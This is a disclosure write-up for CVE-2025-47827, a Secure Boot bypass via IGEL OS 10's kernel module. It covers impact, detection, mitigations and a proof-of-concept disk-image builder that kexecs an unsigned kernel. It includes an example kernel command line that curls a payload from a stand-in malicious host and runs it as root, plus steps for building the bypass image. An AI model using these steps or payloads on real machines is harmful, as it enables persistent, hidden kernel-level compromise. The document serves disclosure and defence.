Proof-of-concept and vulnerability report for CVE-2025-47827.
In IGEL OS before v11, Secure Boot can be bypassed because the
igel-flash-driver module improperly verifies a cryptographic signature.
Ultimately, a crafted root filesystem can be mounted from an unverified
SquashFS image.
Improper verification of cryptographic signature in the igel-flash-driver
Linux kernel module in IGEL OS 10 allows a malicious actor to bypass
Secure Boot, by booting the Shim signed by Microsoft 3rd Party UEFI CA, which
then loads GRUB and the vulnerable kernel, both signed by IGEL Secure Boot
Signing CA. Once the vulnerable kernel and embedded initramfs has loaded, a
malicious root filesystem can be mounted from the unverified SquashFS image on disk.
As the kexec_load syscall is available in the vulnerable kernel, the currently
booted kernel can be replaced with an entirely untrusted one, practically
allowing any operating system to boot, following a complete chain of
trust.
In later versions of IGEL OS, the module correctly verifies a signature of the root filesystem SquashFS image. However, both the vulnerable kernel and patched versions are signed with the same certificate, allowing the same Shim to boot both vulnerable and patched versions.
Both IGEL and Microsoft were contacted and made aware of this vulnerability, on 6th December 2024 and 31st March 2025 respectively, before details were made public on 29th May 2025.
As IGEL OS 10 is unsupported and the vulnerability does not exist within the Shim directly, neither party have suggested a resolution.
IGEL published a security notice for CVE-2025-47827 on 2nd June 2025.
A Secure Boot bypass exploit could lead to the development of an undetected bootkit/kernel-level rootkit, in turn leading to multiple implications, such as:
- Code Execution
- Privilege Escalation
- Denial of Service
- Information Leak
Without revocation or manual intervention, Secure Boot has been rendered useless on all machines that trust the Microsoft 3rd Party UEFI CA, which is the default for most devices at the time of writing.
If used for kexec, this vulnerability can be exploited to silently and
maliciously modify a legitimate system, without impacting Secure Boot.
The kernel could be replaced entirely, enabling malicious code to run at the kernel-level, granting unrestricted access to all system resources, including memory, CPU, and connected devices.
This would allow encryption keys to be dumped from memory, malicious processes to execute without restriction, and for malware to evade detection.
The command-line of the legitimate kernel can be modified,
to disable security modules or change the init parameter, allowing a
malicious payload to be executed after the real root has been mounted.
For example (modprobe, DHCP, chmod, omitted for brevity):
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"This could replace a legitimate executable, hijack PID 1 or automatically start itself on boot, easily gaining root access.
/proc/cmdline can be hijacked
with a bind mount to hide any modifications.
See the Linux documentation for more information.
The impact would be persistent as long as the required EFI binaries and kernel are present, and configured to boot by the system firmware.
Operating system updates may cause changes to the boot order or the Secure Boot Forbidden Signature Database (DBX), which may prevent the binaries from executing. However, if the operating system is also compromised, this remedial action may be reverted.
Additionally, as the EFI boot order is configurable by the operating system, through modification of the EFI variables, privileged malware could gain persistance or elevate privileges further by installing the required boot files and configuring the boot order accordingly.
Assuming a perfect kernel-level rootkit has been created to exploit this vulnerability, data about the running system cannot be trusted.
Methods for detection include:
- Checking for presence of involved binaries
- Verifying signatures/integrity of known files, e.g. rkhunter
- Behavioural analysis, especially in networked environments
At the very least, the signed EFI binaries to be booted by the system firmware and IGEL kernel must be present on the compromised system, but, due to the level at which the malicious code would execute, the rootkit could hide itself at runtime.
Other indicators of compromise depend on the actions of the malware, which has exploited this vulnerability. For example, the booted kernel may have been replaced, files on the root filesystem modified or unexpected programs running.
To prevent the boot chain from being compromised, the certificate used for signing the vulnerable GRUB/kernel image should be revoked/distrusted, or the SHA-256 hashes of the affected kernels should be added to the DBX or MOKX deny list. See the documentation from the NSA Cybersecurity Directorate for more information.
Alternatively, to prevent the initial Shim from executing, the Microsoft 3rd Party UEFI CA can be distrusted, but this may cause unintended disruption to other legitimate applications. Some devices have this as an option in firmware settings.
The ArchWiki page for sbctl warns the following:
Warning
Some firmware is signed and verified with Microsoft's keys when secure boot is enabled. Not validating devices could brick them.
This is the default for Secured-core PCs:
The default state of Secure Boot has a wide circle of trust, which can result in customers trusting boot components they may not need. Since the Microsoft 3rd Party UEFI CA certificate signs the bootloaders for all Linux distributions, trusting the Microsoft 3rd Party UEFI CA signature in the UEFI database increases the attack surface of systems. A customer who intended to only trust and boot a single Linux distribution will trust all distributions - more than their desired configuration. A vulnerability in any of the bootloaders exposes the system and places the customer at risk of exploit for a bootloader they never intended to use, as seen in recent vulnerabilities, for example with the GRUB bootloader or firmware-level rootkit affecting boot components. Secured-core PCs require Secure Boot to be enabled and configured to distrust the Microsoft 3rd Party UEFI CA signature, by default, to provide customers with the most secure configuration of their PCs possible.
If the system is booted with the IGEL Shim, the TPM PCR measurements will change.
Windows uses Measured Boot by default with BitLocker, making encryption keys inaccessible if the system is not booted with the expected binaries.
On Linux-based systems, systemd-cryptenroll can be used to enroll a LUKS key to the TPM and bind it to various PCRs (PCR 7 by default).
Measured Boot protects the legitimate OS from modification, by only releasing the encryption key in a trusted environment. However, it does not prevent an unauthorised OS from booting; that is the responsibility of Secure Boot.
Therefore, a user could still be at risk, even if their OS uses Measured Boot. For example:
- Boot IGEL shim and malicious OS, while passing Secure Boot
- Emulate appearance and behaviour of genuine OS
- User enters credentials which are sent to attacker
- Optionally, reboot into legitimate OS
While the legitimate OS cannot be modified with Measured Boot, as the encryption key is bound to the TPM PCR measurements, the system can still boot malicious software.
A unified kernel image can be used to bundle all boot resources (i.e. kernel, initial ramdisk, kernel command-line, etc.) into a single UEFI PE file. These images can be signed as any other EFI executable. To improve boot security and minimise the attack surface of the boot chain, generate a unified kernel image and sign it with user-generated keys, distrusting any vendor/OEM keys.
The involved binaries are below:
In execution order:
boot*.efi-> Shim signed by Microsoftigel*.efi-> GRUB signed by IGELbzImage-> Linux image (embedded initramfs), signed by IGEL
SHA-256 (from udc10.06.220.iso):
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
A proof-of-concept shell script is provided to download the IGEL OS installation ISO, extract and create a bootable disk image, with a modified SquashFS root filesystem.
Alternatively, instead of a disk image, the ISO could be repacked with an EFI
System Partition appended to the image. A hybrid MBR could also be used to
retain support for legacy BIOS systems, but that is beyond the scope of this
project. The installation ISO contains an ISOLINUX bootloader for legacy
systems, which chainloads a GRUB core.img.
Example overlay directories are provided, to demonstrate booting a live Arch Linux environment over HTTP.
The init script will load the specified kernel in the kernel command-line
parameters with kexec, then reboot. The replacement kernel does not need to
be signed, if --kexec-syscall is passed instead of --kexec-file-syscall.
The GRUB configuration file is stored on the EFI System Partition, which can
be easily modified. Other files can be dropped onto the ESP, such as kernel,
initramfs or SquashFS images, to be booted into from the first root filesystem
with kexec. This allows chainloading another system locally, which can be
updated as a normal system, without rebuilding the ISO each time.
Alternatively, the required files can be downloaded over HTTP with curl, then
booted, for a smaller disk image.
This is an innocent example of how the vulnerability could be exploited, but
the init script or kexec kernel could be modified to demonstrate malicious
behaviour.
The script requires the following packages:
bashcoreutils(dd, and everything else)dosfstools(mkfs.fat)igelfs-clilibisoburn(osirrox,xorriso)squashfs-tools(mksquashfs,unsquashfs)sudounziputil-linux(fdisk,losetup)wget
These should be available for any distribution from its official package repositories.
igelfs-cli can be installed in a virtual environment from
PyPI:
python -m venv .venv
source .venv/bin/activate
pip install igelfsmkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
Build a 500 MB disk image, copying the contents of esp and root to the
EFI System Partition and the SquashFS respectively:
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"The resulting image will boot a machine with Secure Boot enabled, which trusts the Microsoft 3rd Party UEFI CA.
The raw disk image can be written to a physical device, or converted for use with a virtual machine.
See the releases page for an example bootable disk image and copies of the relevant binaries.
The example contains a modified IGEL OS SquashFS image to download and boot
Arch Linux over HTTPS with kexec. The mirror is found in the GRUB configuration.
mkdiskimagedownloads the IGEL OS 10 UDC archive, containing the installation ISO- The ISO is extracted with
osirrox, to obtain the EFI binaries,ddimage.binandbzImage - Using
igelfs-cli, the system SquashFS is extracted fromddimage.bin, which is then extracted withunsquashfs - Required files are created and overlay directories can be specified to copy files to the ESP or SquashFS
- The SquashFS is rebuilt with
mksquashfsand a newddimage.binis created usingigelfs-cli, with the SquashFS as partition #1 (sys) - The
ddimage.binis added to an ISO image withxorriso - A disk image is created and partitioned with
fdisk- ISO -> partition #1 (written with
dd) - ESP -> partition #2 (mounted and copied)
- ISO -> partition #1 (written with
The ISO contains only the ddimage.bin and boot_id file hint, whereas
the ESP contains EFI binaries and files for GRUB.
The root filesystem could be created with buildroot to greatly reduce file size.
Kernel modules for the bzImage will be added to the SquashFS image to add
support for filesystems, networking, etc., along with any other
requirements.
An example defconfig for building a root SquashFS, with kexec and no init
script, can be found in buildroot. Use an overlay directory to add other
files, e.g. init script, either with BR2_ROOTFS_OVERLAY or mkdiskimage.
The kexec userspace binary is not available by default in the IGEL OS 10
system partition, so if this is required, it can be also be added to the patched
SquashFS image.
The kexec binary can be bundled with its library dependencies using
staticx, to avoid missing
shared libraries on the IGEL OS SquashFS image:
staticx "$(which kexec)" "./root/sbin/kexec"Note: due to the IGEL initramfs parse_cmdline substring searching,
specifing init anywhere in the kernel command-line will be interpreted by
the first initramfs, so init cannot be passed to the kexec kernel via the
first kernel parameters.
If SSL is required, e.g. for HTTPS, add /etc/ssl/certs/ca-certificates.crt
to the SquashFS image.
The ISO must be the first partition, making the EFI System Partition (ESP)
unconventionally partition #2. This is due to how the initramfs init script
searches devices.
Similarly, when installed, IGEL OS creates two ESPs at partition #2 and #3.
GRUB requires /boot/igel-ud-converter to be present on the same filesystem
as /boot/grub/igel.conf:
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
The init script of the embedded initramfs of bzImage requires a file
matching the boot_id passed on the kernel command-line, prefixed with a dot (.),
to be present on the ISO filesystem. The boot_id must start with
IGEL_UDC_TO, e.g. .IGEL_UDC_TO_210319143827.
These files can be empty, but must be present.
The SquashFS must also have a /igfimage directory for the initramfs init
script, else changing root will fail.
A user could exploit this vulnerability intentionally to boot a Linux-based operating system on their machine, without configuring Secure Boot.
Furthermore, as a full Linux environment will be effectively used as a bootloader,
the init script can be customised to handle loading the next kernel in more
complex ways than a conventional bootloader would allow, e.g. networking,
encryption, etc. On the other hand, this may be leveraged to hide indicators of
compromise, by retrieving assets at runtime instead of storing on disk.
Various projects already use kexec for this purpose, such as
kexecboot and
petitboot.
Vulnerability details:
- CVE-2025-47827 - CVE record
- ISN-2025-22 - IGEL security notice
- Ars Technica - news article and discussion
- Computing - news article
- Eclypsium - blog
- LinuxSecurity - news article
- SecurityOnline - vulnerability report
- Tech2Geek - blog
- TechSpot - news article
Software and related projects:
- IGEL Software Downloads - legacy IGEL OS downloads
- igelboot - IGEL shim repositories
- IGEL-Technology - various IGEL repositories
- shim-review #11 - 2017 IGEL shim review
- shim-review #434 - 2024 IGEL shim review
- igelfs - Python implementation of the IGEL filesystem
CVE-2025-47827 is licensed under the MIT Licence
for everyone to use, modify and share freely.
This project is distributed in the hope that it will be useful, but without any warranty.
Important
Please be responsible with this information. Publicising this vulnerability is intended to advise users and suggest possible mitigations to avoid harm.
Be a good person.
If you found this project useful, please consider donating. Any amount is greatly appreciated! Thank you 😃
